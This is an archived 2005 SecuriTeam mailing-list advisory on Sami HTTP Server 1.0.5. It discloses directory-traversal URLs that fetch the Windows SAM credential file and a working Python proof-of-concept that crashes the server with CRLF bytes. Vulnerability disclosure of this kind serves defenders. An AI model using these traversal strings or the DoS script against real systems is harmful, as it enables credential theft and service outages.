[NT] Sami HTTP Server Directory Traversal and DoS

• Previous message: SecuriTeam: "[TOOL] Findjmp2 - Find jmp, call, push in a Loaded DLL (With pop/pop/ret)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 17 Feb 2005 16:43:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Sami HTTP Server Directory Traversal and DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.karja.com/samihttp/> Sami HTTP Server is an easy to set up
webserver, for when you value simplicity and ease of use".

Multiple vulnerabilities in Sami HTTP Server allow an attacker to read
arbitrary files on a vulnerable host and crash the server.

DETAILS

Vulnerable Systems:
 * Sami HTTP Server v1.0.5.

Directory Traversal:
A remote user can obtain files on the system that are located outside of
the web document directory.
Example:
http://[Target]/../../winnt/repair/sam
http://[Target]/%2e%2e/%2e%2e/winnt/repair/sam

Denial of Service:
The web server can be crashed by sending two Carriage Return (CR) and Line
Feed (LF) [ \x0d\x0a ].

Proof of Concept Code:
#############################################
# GSS-IT Research And Security Labs #
#############################################
# #
# www.gssit.co.il #
# #
#############################################
# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #
#############################################
# Use This PoC For Educational Purposes Only #
#############################################

import sys
import socket

print("#############################################\n")
print("# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #\n")
print("#############################################\n\n")

if (len(sys.argv) < 3 ) :
 print "Usage: %s <Target> <Port>" %sys.argv[0]
 sys.exit(0)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = sys.argv[1]
port = int(sys.argv[2])

try:
 server.connect((target,port))
 print "Sending CRLF ...\n\n"
 server.send("\x0d\x0a\x0d\x0a")
 server.close()
 print "Done ... Check your web server"
except:
 print "Cannot connect to http server on %s" %target

ADDITIONAL INFORMATION

The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[TOOL] Findjmp2 - Find jmp, call, push in a Loaded DLL (With pop/pop/ret)"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]